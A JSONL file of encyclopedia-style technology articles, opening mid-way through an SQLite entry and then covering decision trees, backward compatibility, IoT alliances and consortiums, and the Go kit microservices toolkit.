serialized. Each write typically locks database access for a few dozen milliseconds. If more concurrency is desired due to many concurrent clients, SQLite is not suitable. \n\nIf a server-side database is desired, traditional databases such as MS SQL, Oracle or MySQL have intrinsic support for multi-core and multi-CPU architectures, user management and stored procedures. \n\n\n### How's the adoption of SQLite?\n\nIt's been claimed that SQLite is the most widely deployed database in the world with over one trillion database instances worldwide. It's present in every Android device, every iOS device, every Mac device, every Windows 10 device, every Firefox/Chrome/Safari browser, every Skype/Dropbox/iTunes client, and most set-top boxes and television sets. \n\nGoing by DB-Engines Ranking that's updated monthly, in January 2019, SQLite was seen in tenth position. \n\nSome users of SQLite include Adobe, Airbus, Apple, Bentley, Bosch, Dropbox, Facebook, General Electric, Google, Intuit, Library of Congress, McAfee, and Microsoft. \n\n\n### What tools are available for working with SQLite?\n\nSQLite comes with a command line interface (CLI) called `sqlite3` to create, modify and query an SQLite database. Another useful CLI tool is `sqlite3_analyzer` that tells about memory usage by tables and indices. \n\nFor those who prefer a graphical user interface (GUI), there are a number of utilities: SQLite Database Browser, SQLite Studio, SQLite Workbench, TablePlus, Adminer, DBeaver, DbVisualizer and FlySpeed SQL Query. Most are free and cross-platform with lots of useful features. DbVisualizer has Free and Pro editions. Navicat for SQLite is a paid product. Adminer is implemented in a single PHP file to be executed by a web server. \n\nTo embed SQLite into your own application, there are dozens of language bindings including C, C++, PHP, Python, Java, Go, MATLAB, and many more. SQLite's inventor noted that it was designed from the beginning to be used with Tcl. Tcl bindings have been present even before version 1.0 and regression tests are written in Tcl. \n\n\n### What's the architecture of SQLite?\n\nSQLite compiles SQL statements into bytecode, which runs on a virtual machine. To generate the bytecode, SQL statements go via the tokenizer (identify tokens), parser (associate meaning to tokens based on context) and finally to the code generator (generate the bytecode). \n\nSQLite itself is implemented in C. SQL functions are implemented as callbacks to C routines. In terms of lines of code, the code generator is the biggest followed by the virtual machine. \n\nDatabase itself is organized as a **B-Tree**. Each table and index has a separate tree but all trees are stored on the same file. Information from disk is accessed in default page size of 4096 bytes. Pager does the reading, writing and caching. It also does rollback, atomic commit and locking of the file. \n\n\n### How's the performance of SQLite?\n\nSQLite is 35% faster than filesystem I/O. When holding 10 KB blobs, an SQLite file uses 20% less disk space. \n\nIn one study, SQL CE 4.0 was compared against SQLite 3.6. SQLite fared slightly better for read operation but for everything else SQL CE was significantly faster. However, the hardware was a Dell Workstation with two Intel Xeons and 8 GB of RAM. \n\nWhen compared against Realm, SQLite performed better with inserts but with counts and queries Realm was faster. \n\nIn Python environment, one study compared `pandas` with `sqlite`. SQLite was used in two variants: file database and in-memory database. SQLite performed better with select, filter and sort operations. Pandas did better with group-by, load and join operations. There was no great performance gain with in-memory SQLite as compared to file-based SQLite. \n\n\n### What are the limits and limitations SQLite?\n\nLimits are documented on the SQLite's official website. We mention a few of them: \n\n    + Maximum database size is 128 TiB or 140 TB.\n    + Maximum number of tables in a schema is 2147483646.\n    + Maximum of 64 tables can be used in a JOIN.\n    + Maximum number of rows in a table is 2<sup>64</sup>.\n    + Maximum number of columns in a table/index/view is 1000 but can be increased to 32767.\n    + Maximum string/BLOB length is 1 billion bytes by default but this can be increased to 2<sup>31</sup>-1.\n    + Maximum length of an SQL statement is 1 million bytes but can be increased to 1073741824.SQLite implements SQL with some omissions. For example, RIGHT OUTER JOIN and FULL OUTER JOIN are not supported. There's partial support for ALTER TABLE. GRANT and REVOKE commands are not supported. This implies there's no user management support. BOOLEAN and DATETIME are examples of data types missing in SQLite. AUTOINCREMENT doesn't work the same way as in MySQL. SQLite has a flexible type system (string can be assigned to an integer column) but from the viewpoint of static typing this can be seen as a limitation. \n\n## Milestones\n\nAug  \n2000\n\nVersion 1.0 of SQLite is released. The earliest public release of alpha code dates back to May 2000. D. Richard Hipp creates SQLite from a need to have a database that didn't need a database server or a database administrator. The syntax and semantics are based on PostgreSQL 6.5. \n\nSep  \n2001\n\nVersion 2.0.0 of SQLite is released. While 1.0 was based on GNU Database Manager (gdbm), 2.0.0 uses a custom B-tree implementation. \n\nMay  \n2003\n\nSupport for **in-memory database** is added in version 2.8.1. This is useful when performance is important and data persistence is not required. Data is lost when the database connection is closed. \n\nSep  \n2004\n\nVersion 3.0.7 of SQLite is released. An alpha release of 3.0.0 was available earlier in June 2004. \n\nJan  \n2006\n\nIn version 3.3.0, a **shared-cache** mode is introduced in which multiple connections from the same thread can share the same data and schema cache. This reduces IO access and memory requirements. In version 3.5.0 (September 2007), this is extended to an entire process rather than just a thread. \n\nSep  \n2006\n\nPython standard library version 2.5 includes SQLite under the package name `sqlite3`.  \n\nOct  \n2008\n\nFrom version 3.6.4, SQLite language syntax is described as **syntax diagrams** rather than BNF notation. \n\nDec  \n2018\n\nVersion 3.26.0 of SQLite is released.","meta":{"title":"SQLite","href":"sqlite"}}
{"text":"# Decision Trees for Machine Learning\n\n## Summary\n\n\nIn machine learning, we use past data to predict a future state. When data is labelled based on a desired attribute, we call it *supervised learning*. There are many algorithms facilitating such a learning. **Decision tree** is one such. Decision tree is a directed graph where nodes correspond to some test on attributes, branch represents an outcome of a test and a leaf corresponds to a class label.\n\n## Discussion\n\n### Could you explain with an example how a decision tree is formed?\n\nAssuming sufficient data has been collected, suppose we want to predict if an individual has risk of high blood pressure. We have two classes, namely, high BP and normal BP. We consider two attributes that may influence BP, overweight and extent of exercise.\n\nThe first decision node (topmost in the tree) could be either weight or extent of exercise. Either way, we also decide the threshold by which data is split at the decision node. We could further split the branches based on the second attribute. The idea is to arrive at a grouping that clearly splits those at risk of high BP and those who are not. In the figure, we note that being overweight clearly separates individuals at high risk. Among those who are not overweight, exercise attribute must be used to arrive at a suitable separation. \n\nThe process of choosing the decision nodes is iterative. The leaf node is chosen when the data in the node favours one class over all other classes.\n\n\n### How is information entropy related to decision trees?\n\nEntropy measures the uncertainty present in a random variable X. For example, an unbiased coin can either show head or tail when tossed. It has maximum entropy. If the coin is biased, say towards head, then it has less entropy since we already know that head is more likely to occur. The uncertainty is quantified in the range of 0 (no randomness) and 1 (absolute randomness). If there is no randomness, the variable does not hold any information. \n\nConsider a binary classification problem with only two classes, positive and negative class. If all samples are positive or all are negative, then entropy is zero or low. If half of the records are of positive class and half are of negative class, then entropy is one or high. Mathematically, entropy is defined as\n\n$$H(X) = - \\sum\\_{i=1}^n p\\_i(x) \\* log \\_2 p\\_i(x)$$\n\n\n### What is Gini Impurity?\n\nGini Impurity (also called *Gini Index*) is an alternative to entropy that helps us choose attributes by which we can split the data. It measures the probability of incorrectly identifying a class. Lower the Gini Index, better it is for the split. The idea is to lower the uncertainty and therefore get better in classification.\n\nMathematically, Gini Impurity is defined as\n\n$$Gini(X) = 1 - \\sum\\_{i=1}^n p\\_i(x) ^2$$\n\nThe choice of attribute between 2 classes, \\(x\\_1\\) and \\(x\\_2\\), with \\(N\\_1\\) and \\(N\\_2\\) as number of instances, and \\(N=N\\_1+N\\_2\\) is calculated from\n\n$$Gini(X) = \\frac{N\\_1}{N} \\* Gini(x\\_1) + \\frac{N\\_2}{N} \\* Gini(x\\_2)$$\n\nwhere\n\n$$ Gini(x1)=1 - p(x\\_1) ^2$$\n\n\n### What is information gain?\n\nInformation gain is change in entropy, prior to split and post split, with respect to selected attribute. We select that attribute for splitting data if it gives a high information gain. Information gain is also called as **Kullback-Leibler Divergence**. \n\nInformation Gain IG(S,A) for a set S is the effective change in entropy after deciding on a particular attribute A. Mathematically,\n\n$$IG(S,A)=H(S)-H(S,A)$$\n\n\n### What are the pros and cons of decision trees?\n\nAmong the pros are, \n\n    + Decision trees are easily interpretable since it mirrors human decision-making process and a white box model.\n    + Decision trees can be used for both regression (continuous variables) and classification (categorical variables).\n    + Decision trees are non-Parametric. This means we make no assumption on linearity or normality of data.Among the cons are, \n\n    + Small changes to data may alter the tree and therefore the results. Decision Trees are therefore not robust.\n    + When a tree grows large and complex, it tends to overfit. This is overcome by limiting tree depth, boosting or bagging.\n\n\n## Milestones\n\n1963\n\nMorgan and Sonquist propose **Automatic Interaction Detection (AID)**, the first *regression tree* algorithm. This recursively splits data depending on impurity and stops splitting on reaching a certain level of impurity. \n\n1972\n\nMessenger and Mandell propose **Theta Automatic Interaction Detection (THAID)** , the first *classification tree* algorithm. This recursively splits data to maximize cases in modal category. \n\n1980\n\nKass propose **Chi-square Automatic Interaction Detection (CHAID)** that splits data into nodes to start with and then merge nodes that have non-significant splits. This is quicker but can be inaccurate. \n\n1984\n\nResearchers improvise AID and THAID to arrive at **Classification and Regression Trees (CART)**. This is done to improve accuracy by pruning the tree. The CART also gives variable importance scores. \n\n1986\n\nQunilan proposes **Iterative Dichotomiser (ID3)** where he uses *information entropy* to quantify impurity. This is then used to calculate gain ratio for *two-class decisions*. \n\n1993\n\nAs an extension of ID3, Quinlan proposes **C4.5**. This can handle *multiple-class decisions*.","meta":{"title":"Decision Trees for Machine Learning","href":"decision-trees-for-machine-learning"}}
{"text":"# Backward Compatibility\n\n## Summary\n\n\nTechnology is rarely static. Technical specifications and products based on them evolve continually. When new versions are released, we can't simply throw away old versions and ask everyone to upgrade. There's a need for new versions to interwork with older versions. This is what we mean by **backward compatibility**.  \n\nIndustry bodies that define standards must consider backward compatibility. Within companies, when technologies and products are evolved, product managers, architects and developers must consider backward compatibility. Backward compatibility ensures that customers can continue to use current products and services without being forced to upgrade. Customers can plan a phased migration towards latest versions.\n\nBackward compatibility is not without its critics. It has the negative effect of prolonging older technologies. Industry may become reluctant in adopting latest technologies unless they offer significant benefits. There's also an additional cost for designing and maintaining backward-compatible implementations.\n\n## Discussion\n\n### Which technology layers need to consider backward compatibility?\n\nBackward compatibility is applicable at both hardware and software levels. In **hardware**, it's about pin compatibility so that old peripherals can interface with newer versions of the system hardware. It can also be about clock synchronization, signal levels or timing so that different hardware components can interwork correctly.\n\nIn **software**, backward compatibility is defined for open or public interfaces of software components or products. This is essential when products are being built from many third-party components. At the **system level**, newer hardware should support older software. \n\nModern software often rely on web APIs for specific functionality. The **API layer** needs to be backward compatible so that calling a newer version of the API doesn't require changes in client software.  In general, any communication **protocol** (including for instance ISO, IETF or IEEE standards) must be evolved in a backward-compatible manner.\n\nBackward compatibility applies to the **data layer** as well. Data is stored, encoded and decoded in specific formats and versions. However, as data readers and processing tools evolve, they must be able to read and understand older formats. This also applies to how **database schemas** are evolved. \n\n\n### What are some examples of backward compatibility?\n\nThe Raspberry Pi hardware has evolved through many revisions. The functions of the 26 pins present in the original Model 1A were changed in a backward-compatible manner, that is, Do Not Connect (DNC) pins are mapped to 5V, 3.3V or GND; and other pins are unchanged. This means that peripherals that could connect to Model 1A via the header can also connect to Model 4B.  From a software perspective, recent releases of 32-bit Raspberry Pi OS will work on Model 1A as well. \n\nThe success of Palm Pilot is partly attributed to its ability to hot sync with Microsoft Windows and connect to PCs via USB ports. By supporting existing interfaces, Palm Pilot enabled vendors and users adopt it more easily. \n\nMicrosoft Office 2007 introduced a new format to save documents and spreadsheets: `*.docx` and `*.xlsx` that are essentially based on XML. However, Office 2007 can read from and save to `*.doc` and `*.xls` legacy formats. \n\nIn cellular telecom, CDMA2000 1xEV-DO and CDMA2000 1xEV-DV can interwork with CDMA2000 1X and cdmaOne. \n\n\n### What's the difference between backward and forward compatibility?\n\nConsider a client-server example in which different versions of clients and servers operate. If the new server version works with all clients that worked with the old server version, then it's backward compatible. If the new server version will continue to work with all clients in any future update, then it's forward compatible. In the figure, \\(S\\) is backward compatible with \\(S^{-1}\\) and forward compatible with \\(S^{+1}\\). We could say that, \n\n> When a product or interface is said to be forward compatible, it is really a statement of intent that future versions of the product will be designed to be backward compatible with this one.\n\nForward and backward compatibility are also called upward and downward compatibility, though some sources apply the former terms to versions of the same entity and the latter terms to communicating entities. \n\nNew software that can read data in older formats is considered backward compatible. Old software that can read newer formats (by skipping unknown fields) is forward compatible.  But it's a matter of perspective. We can say that the new format itself is backward compatible.\n\n\n### What are the different types backward compatibility?\n\nSource compatibility means that software compiles even when some dependencies have been updated to a newer version. With binary compatibility, code compiles and also links to newer components. Wire compatibility is applicable to communication protocols. It means that two entities (such as client and server) can communicate even when they're running different protocol versions. Semantic compatibility implies that communicating or interfaced entities process or interpret the messages correctly. \n\nWhen products, protocols or standards evolve, we talk about each version being backward compatible with earlier versions. Another kind of backward compatibility is about new technologies interworking with older ones. When CSS came out, it allowed developers to continue styling concrete elements in HTML documents. \n\n\n### What are the main techniques to achieve backward compatibility?\n\nIt's okay to add new interfaces, new operations to existing interfaces or new optional parameters to existing operations. Anything else runs the risk of breaking backward compatibility. In particular, avoid changing the order of enumeration values, removing or renaming operations, and adding mandatory parameters to existing operations.  Don't change field semantics or make input validation more restrictive. \n\nAvoid versioning. Instead prefer to add a new resource or new endpoint. Where not possible, server deployments can run multiple versions in parallel and retire older versions gracefully. Upgraded servers should check for client support before invoking new features. When clients upgrade to newer interface versions, they should support all mandatory features. Communicating entities can negotiate revision levels and ignore features that are not mutually understood. Some call this an **etiquette standard**. \n\nFollowing Postel's Law, clients can be conservative with requests and tolerant of API extensions. However, against Postel's Law, servers should return useful feedback for unknown or invalid inputs. \n\nObey technology-specific rules. For example, message types in Protocol Buffers can be evolved in a backward-compatible manner by following specific rules.  \n\n\n### What's the cost of making technology backward compatible?\n\nIn the world of microservices, it's common for a service to maintain multiple versions of the API. Older versions are deprecated but clients continue to use them over a long period of time. This creates a technical debt, particularly for integration tests.  \n\nBackward compatibility can come in the way of innovation. The need to continue with older technologies and make them coexist with newer technologies becomes a challenge. The final solution would also be more expensive for both vendors and consumers. Sony's PS3 is an example. It included additional hardware for backward compatibility with PS1 and PS2. Back in the early 1990s, Europeans invented GSM without attempting to make it backward compatible with various standards. This allowed them to apply state-of-the-art technologies. \n\nBackward compatibility can lead to less efficient solutions. Reduced codec efficiency was shown in a study of G.722 when extended for super-wideband. \n\n## Milestones\n\n1950\n\nThe Radio Corporation of America (RCA) introduces the first **backward-compatible colour television system**. In 1952, this is accepted as a standard for broadcast television in the U.S. by the National Television Systems Committee (NTSC). Information is composed of luminance (brightness) and chrominance (colour) components. Luminance carries the finer details and is allocated more bandwidth. Chrominance component, which consists of hue and saturation, is ignored by B&W TV receivers.  \n\n1982\n\n**The Atari 5200** console is launched. However, it's **not backward compatible**, meaning that Atari 2600 games can't be played on Atari 5200. Later, Atari gives way to consumer pressure and creates an adaptor so that 2600 games could be played on the 5200. \n\n1998\n\nCircuit City introduces a new DVD rental format called **DIVX** (aka Digital Video Express). Unfortunately, the DIVX format needs a DIVX player since current DVD players don't understand this format. DIVX players themselves are backward compatible: they can play both DIVX and DVD formats. However, backward compatibility actually backfires for DIVX commercially. In 1999, DVD format continues to be more popular than DIVX. \n\n2003\n\nUnder EU laws, Restriction of Hazardous Substances (RoHS) in electrical and electronic equipment is defined. In July 2011, the **RoHS Directive** comes into force. Among the ten substances are lead. During the early transition period, tin-lead components are assembled with lead-free paste (forward compatibility). During the late transition period, some high reliability applications continue to use conventional tin-lead paste with lead-free components (backward compatibility). \n\n2007\n\n**Microsoft releases Office 2007** that supports newer XML-based file formats. However, it's can read and write in older formats and hence **backward compatible**. While the earlier Office 2003 was not designed to be forward compatible, it's possible to update Office 2003 so that it can read newer formats. \n\n2008\n\nThe first phone using Android OS is launched. Apps for this OS are built using the **Android SDK**, which is **forward compatible** but not backward compatible. Apps built with a specific `compileSdkVersion` (further qualified by `targetSdkVersion`) will run on newer Android versions as well. This is because old APIs are deprecated but never removed. \n\n2015\n\nMicrosoft announces the **Xbox One Backward Compatibility** program. The aim is to run original Xbox and Xbox 360 games on newer Xbox One consoles. By 2019, over 600 Xbox and Xbox 360 games could be played on newer generation hardware including the use of newer hardware features. With Xbox Series X and S, backward compatibility becomes an essential requirement. This also helps in preserving older games. Moreover, legacy games benefit from the latest hardware with features such as Auto HDR and doubled framerate.","meta":{"title":"Backward Compatibility","href":"backward-compatibility"}}
{"text":"# IoT Alliances and Consortiums\n\n## Summary\n\n\nAlliances and consortiums are shaping the IoT landscape to reach a level of standardization, maturity and acceptance. They allow a reach which no individual organization can achieve. They give confidence to the market that there's larger commitment to the goals of the alliance or consortium.\n\nAlliances and consortiums also enable mass adoption of technology. Organizations like IEEE leverage their brand and mass reach to promote generic frameworks which cut across competing technologies. They also help to consolidate an otherwise fragmented marketspace. This helps businesses reach economies of scale to make the price of solutions affordable to the common man or enable the industry to deploy systems in a large scale.\n\nWhile many alliances/consortiums existed in 2014, later years saw mergers and collaborations, leading to less market fragmentation.\n\n## Discussion\n\n### What's the role of IoT alliances and consortiums?\n\nAlliances and consortiums provide for the following:\n\n    + Help to promote standards and product certifications in a particular area (Examples: RFID Consortium, NFC Forum, Wi-Fi Alliance, Zigbee Alliance, LoRa Alliance )\n    + Facilitate joint R&D efforts, influence direction of the industry, promote best practices, and provide testbeds (Example: IIC)\n    + Help new entrants or startups to start quickly by providing required licenses, ecosystem or access to standards so that they can concentrate on building their differentiatorsStandards organizations can sometimes be guilty of catering only to those vendors who are on their committees. Alliances and consortiums, being non-profit, help drive requirements for standardization, and subsequent testing and certification in a vendor neutral manner. But when they also create the standards and fail to make them public, the entire industry suffers. \n\n\n### What should we look for when joining a particular IoT alliance or consortium?\n\nWe can evaluate based on the following: \n\n    + **Openness**: What are their policies on intellectual property? Are there royalties involved in implementing their standards? Is it a closed group that requires paid membership?\n    + **Availability**: Is their work (standards, white papers, guidelines) already available or is it still a work in progress?\n    + **Adoption**: Are people in industry already adopting and using their work?Back in 2014, Ian Skerrett evaluated a number of IoT alliances and consortiums based on the above metrics and published a descriptive analysis, which is a good read.\n\nIn 2018, an online survey of 502 participants showed that Eclipse IoT, Apache Foundation, W3C, and IEEE are among the top consortiums that developers considered important in the IoT space. However, we should note that this survey was conducted by Eclipse IoT, AGILE IoT, IEEE and OMA. The survey targeted only members of their communities. \n\n\n### What are the major IoT alliances and consortiums?\n\nAmong the many IoT alliances and consortiums, some important ones are the following:\n\n    + Industrial Internet Consortium (IIC)\n    + IEEE\n    + Open Connectivity Foundation (OCF)\n    + Thread Group\n    + LoRa AllianceIn one study from early 2018, the following important alliances were listed: OMA, Genivi, IIC, IoT Consortium, TrustedIoTAlliance, OneM2M, AIOTI, and OCF. \n\nSome alliances and consortiums are vertically focused on a particular industry. For example, Thread Group is focused on connected homes; Apple's HealthKit is about health and fitness; EnOcean Alliance is about building automation; Open Automotive Alliance is about connected cars; HART Communication Foundation looks at the industrial IoT space. \n\n\n### How does Industrial Internet Consortium (IIC) contribute to IoT?\n\nThe IIC was founded by AT&T, Cisco, General Electric, IBM, and Intel in March 2014. Though it's parent company is the Object Management Group, IIC itself is not a standardization body. It had around 155 members as of August 2020. \n\nIt was formed to bring together industry players — from multinational corporations, small and large technology innovators to academia and governments — to accelerate the development, adoption and widespread use of Industrial Internet technologies. IIC members work to create an ecosystem for insight and thought leadership, interoperability and security via reference architectures, security frameworks and open standards, and real world implementations to vet technologies and drive innovations (called testbeds). \n\nAs per Compass Intelligence, IIC won the *top IoT organization influencer of the year* award for 2018. \n\n\n### What role does IEEE play in IoT?\n\nThe IEEE IoT Initiative was launched in 2014. It aims to help engineering and technology professionals learn, share knowledge and collaborate around IoT. \n\nIEEE has a variety of programs that can help solution providers that are trying to understand IoT, including the IEEE IoT Technical Community, which is made up of members involved in research, application and implementation of IoT. IEEE also heads the IoT Scenarios Program, which is an interactive platform to demonstrate use cases, business models and service descriptions.\n\nIn March 2020, IEEE published an architectural framework for IoT, **IEEE 2413-2019**. IEEE also publishes a number of peer-reviewed IoT papers across its different publications, including *IEEE Internet of Things Journal (IoT-J)* that's dedicated to IoT. IEEE also organizes many conferences and events on IoT around the world, in particular the IEEE World Forum on Internet of Things (WF-IoT). \n\n\n### What are the major developments in the Open Connectivity Foundation (OCF)?\n\nOpen Interconnect Consortium (OIC) in 2016 changed its name to Open Connectivity Foundation (OCF) when Microsoft and Qualcomm joined this group. **The AllSeen Alliance** was developing the **AllJoyn** standard, which was first created by Qualcomm. In October 2016, the AllSeen Alliance and OCF merged together to become the new OCF. The merged group continues working on the open-source IoTivity (OCF) and AllJoyn (AllSeen) projects under the auspices of the Linux Foundation, eventually merging them into a single **IoTivity** standard. \n\nDeveloping interoperability standards is one of the key aims of the OCF, a single IoTivity implementation that offers the best of the previous two standards. Current devices running on either AllJoyn or IoTivity are expected to be interoperable and backward-compatible with the unified IoTivity standard. There are millions of AllJoyn-enabled products on the market. \n\n\n### What's the role of Thread Group among IoT alliances?\n\nThread is mesh network built on open standards and IPv6/6LoWPAN protocols to simply and securely connect products around the house. 6LoWPAN is a power-efficient personal area network protocol with underlying standards of IPv6 and IEEE 802.15.4. Thread is also capable of running for a long period of time from a long-lasting battery. \n\nMembers of the Thread Group include ARM, Nordic, NXP, Nest, Qualcomm, Tridonic, Texas Instruments, Silicon Labs, and many more. Thread Group members get practical resources to help grow the world of connected devices by joining a global ecosystem of technology innovators. The group also offers a certification program based on Thread 1.1 specification. Thread can run multiple applications layers including Dotdot, LWM2M, OCF or Weave. \n\nThread Group liaises with other IoT alliances and consortiums like Open Connectivity Foundation and Zigbee Alliance and tries to provide a one-stop shop for the home IoT.\n\n\n### What is special about Lora Alliance group?\n\nThe LoRa Alliance is a fast growing technology alliance. It's a non-profit association of more than 500 member companies, committed to enabling large scale deployment of Low Power Wide Area Networks (LPWAN) IoT through the development and promotion of the **LoRaWAN** open standard. \n\nMembers benefit from a vibrant ecosystem of active contributors offering solutions, products & services, which create new and sustainable business opportunities. \n\nThrough standardisation and the accredited certification scheme the LoRa Alliance delivers the interoperability needed for LPWA networks to scale, making LoRaWAN the premier solution for global LPWAN deployments. The speciality of Lora Alliance is that it operates primarily on the WAN side of the IoT space. \n\n\n### What are the other alliances and consortiums to keep a watch on?\n\nIn 2015, some companies got together to address security aspects of IoT. They defined the Open Trust Protocol (OTrP). It's overseen by the **OTrP Alliance** while collaborating with IETF and Global Platform. The key insight is that system-level root of trust is necessary. Security must be addressed at all levels, from firmware to applications. \n\nTrusted IoT Alliance applied blockchain technology to IoT. In January 2020, this alliance merged into IIC. \n\nFounded in 2008, IPSO Alliance promoted the Internet Protocol for \"smart object\" communications, advocating for IP networked devices in health care, industrial and energy applications. In 2018, it merged with Open Mobile Alliance (OMA) to form OMA SpecWorks. \n\n## Milestones\n\nDec  \n2013\n\n**AllSeen Alliance** is formed. Premier level members include Haier, LG Electronics, Panasonic, Qualcomm, Sharp, Silicon Image and TP-LINK. \n\n2014\n\nThis is the year when alliances and consortiums start appearing. The Thread Group, Open Interconnect Consortium (OIC) and Industrial Internet Consortium (IIC) are all started in 2014. IEEE IoT Initiative is also launched. Thread Group opens for membership in October. \n\nMar  \n2015\n\nOpen, non-profit **LoRa Alliance** becomes operational. It's mission is to promote global adoption of the LoRaWAN standard. By 2018, it has 500+ members. \n\nNov  \n2015\n\nTo accelerate distributed computing, networking and storage for IoT, ARM, Cisco, Dell, Intel, Microsoft and Princeton University Edge Laboratory establish **OpenFog Consortium**. Focus is to build frameworks and architectures for end-to-end scenarios with capabilities pushed to network edges. \n\n2016\n\nIn February, Open Interconnect Consortium (OIC) is renamed into **Open Connectivity Foundation (OCF)**. In October, AllSeen Alliance merges into OCF. OCF will now sponsor both IoTivity and AllJoyn open source projects at The Linux Foundation. \n\nOct  \n2017\n\nIndustrial Internet Consortium (IIC) and EdgeX Foundry merge with a mandate \"to align efforts to maximize interoperability, portability, security and privacy for the industrial Internet\". EdgeX Foundry, a Linux-backed, open-source project has been \"building a common interoperability framework to facilitate an ecosystem for IoT edge computing\". \n\nDec  \n2019\n\nApple, Google, Amazon and Zigbee come together to form a new working group under the Zigbee Alliance called **Connected Home over IP (CHIP)**. It's based on IPv6 and meant to work with any PHY or MAC layer for any application or product. However, CHIP leaves out OCF from the discussions, which might create interoperability issues.","meta":{"title":"IoT Alliances and Consortiums","href":"iot-alliances-and-consortiums"}}
{"text":"# Go kit\n\n## Summary\n\n\nBuilding an app based on microservices architecture is not trivial. We would need to implement many specialized parts such as RPC safety, system observability, infrastructure integration, program design, and more. Go language's standard library itself isn't adequate to implement these easily. This is where Go kit becomes useful. \n\nUsing Go kit means that developers can focus on their application rather than grapple with the challenges of building a distributed system. Go kit is positioned as a **toolkit for microservices**. It's not a framework. It doesn't force developers to use everything it provides. It's also lightly opinionated about what components or architecture that developers should use. Go kit is really a library. Developers can choose only what they want.  \n\nGo kit is open source and follows the MIT License.\n\n## Discussion\n\n### What's the relevance of Go kit in the context of microservices?\n\nWhen an app is composed of dozens or even hundreds of microservices, there's lot more to be done than just defining and building those services. We need consistent logging across services. Metrics have to be collected both at infrastructure layer and application layer. When a request comes in, we may need to trace how this request moves across multiple services. For robustness, we need rate limiting and circuit breaking. Each service will likely be running multiple instances that are dynamically created and destroyed. Service discovery and load balancing are therefore essential. \n\nWhile Go has a much lower resource footprint compared to Ruby, Scala, Clojure or Node, back in 2014, it didn't have anything for a microservices architecture. Go kit's inventor, Peter Bourgon at SoundCloud, found that teams were choosing Scala and JVM because of better support for \"microservices plumbing\". In fact, SoundCloud adopted Twitter's Finagle. Go didn't have an equivalent to this. Thus was born the idea for Go kit. It's really, \n\n> a set of standards, best practices, and usable components for doing microservices in Go\n\n\n### Which are the key components of Go kit?\n\nGo kit microservices have three layers: Transport, Endpoint, Service. Requests come in at transport layer, move through endpoint layer and arrive at service layer. Responses take the reverse route. \n\nGo kit supports a number of transports. Thus, legacy transports and modern transports can be supported within the same service. Some supported transports include NATS, gRPC, Thrift, HTTP, AMQP and AWS Lambda. \n\nThe primary messaging in Go kit is RPC. An endpoint is an RPC method that maps to a service method. A single endpoint can be exposed via multiple transports. \n\nService layer is where all the business logic resides. This is the concern of application developers who need not know anything about endpoints or transports, which are taken care of by Go kit. A service is modelled as an interface and its implementation contains the business logic. \n\nDue to this separation of concerns, Go kit encourages you to adopt SOLID design principles and clean architecture. In fact, Go kit can be used to build elegant monoliths as well. \n\n\n### What's the concept of middleware in Go kit?\n\nGo kit takes the idea of \"separation of concerns\" further with the use of middleware. Rather than bloat core implementations with lots of functionality, additional functionality is provided through middleware using the **decorator pattern**. Go kit provides middleware for endpoint layer while application developers can write middleware for the service layer. We can also chain multiple middleware. \n\nHere's a sample of middleware:  \n\n    + Endpoint: Load balancing, safety, operational metrics, circuit breaking, rate limiting.\n    + Service: Includes anything that needs knowledge of business domain including app-level logging, analytics, and instrumentation.As can be expected of the decorator pattern, an endpoint middleware accepts an endpoint and returns an endpoint. A service middleware accepts a service and returns a service. \n\nGo kit doesn't force you to use all the middleware the come with it. For example, if you're using Istio that already comes with circuit breaking and rate limiting, then you ignore their equivalent Go kit middleware. \n\n\n### Which are the packages available in Go kit?\n\nWithout being exhaustive, here are some Go kit packages: \n\n    + **Authentication**: Basic, casbin, JWT.\n    + **Circuit Breaker**: Hystrix, GoBreaker, and HandyBreaker.\n    + **Logging**: Provide an interface for structured logging. Recognizes that logs are data. They need context and semantics to be useful for analysis. Supported formats are logfmt and JSON.\n    + **Metrics**: Provides uniform interfaces for service instrumentation. Comes with counters, gauges, and histograms. Has adapters for CloudWatch, Prometheus, Graphite, DogStatsD, StatsD, expvar, and more.\n    + **Rate Limit**: Uses Go's token bucket implementation.\n    + **Service Discovery**: Consul, DNS SRV, etcd, Eureka, ZooKeeper, and more.\n    + **Tracing**: OpenCensus, OpenTracing, and Zipkin.\n    + **Transport**: AMQP, AWS Lambda, gRPC, HTTP, NATS, Thrift.\n\n### Could you share some best practices for using Go kit?\n\nDon't change your platform or infrastructure to suit Go kit. Remember that Go kit is only lightly opinionated. It will integrate well with whatever platform or infrastructure you're already using. \n\nGo kit adopts domain-driven design and declarative composition. It uses interfaces as contracts. You should too when implementing your services. \n\nEach middleware should have a single responsibility. \n\nOther frameworks might use dependency injection. In Go kit, the preferred approach is to wire up the entire component graph in `func main`. This forces you to pass them explicitly to components via constructors. Avoid using global state. \n\nErrors can be encoded in two ways: as an error field in response struct, or an error return value. For services, prefer the former method. For endpoints, prefer the latter since these are recognized by middleware such as circuit breaker. \n\nIndividual services should not collect or aggregate logs. This is the job of the platform. Your services should write to stdout/stderr. \n\nAccess to databases will likely be in a service implementation. Better still, use an interface to model persistence operations while an implementation wraps the database handle. \n\n\n### What are some criticisms or limitations of Go kit?\n\nIt's been said that Go kit is **too verbose**. Adding an API to a microservice involves a lot of boilerplate code. While Go kit nicely separates the business logic, endpoint and transport layers, this abstraction comes at a cost. The code is **harder to understand**. \n\nHowever, Developers who don't wish to write boilerplate code can make use of code generators. Two generators are *kitgen* and Kujtim Hoxha's *GoKit CLI*. \n\nInspired by Go kit, the engineering team at Grab created **Grab-Kit**. They felt that Go kit still requires a lot of manual work, something Grab-Kit aims for solve. The idea is to codify best practices. Grab-Kit standardizes APIs, SDKs, error handling, etc. It uses a consistent middleware stack across services including automatic profiling and execution traces. \n\n## Milestones\n\nFeb  \n2015\n\nPeter Bourgon, while working at SoundCloud, makes the first commit of Go kit code. However, the codebase is not versioned at this point. First tagged version v0.1.0 happens only in June 2016. \n\nJan  \n2018\n\nBased on GitHub stars, Go kit is seen as the most popular toolkit, followed by Micro, Gizmo and Kite. \n\nMar  \n2018\n\nVersion 0.7.0 is released. This includes **kitgen** code generator, **JSON-RPC** transport, and **etcdv3** support in service discovery. \n\nNov  \n2018\n\nVersion 0.8.0 is released. This includes **NATS** and **AMPQ** transports. \n\nJun  \n2019\n\nVersion 0.9.0 is released. This supports **AWS Lambda** as a transport.","meta":{"title":"Go kit","href":"go-kit"}}
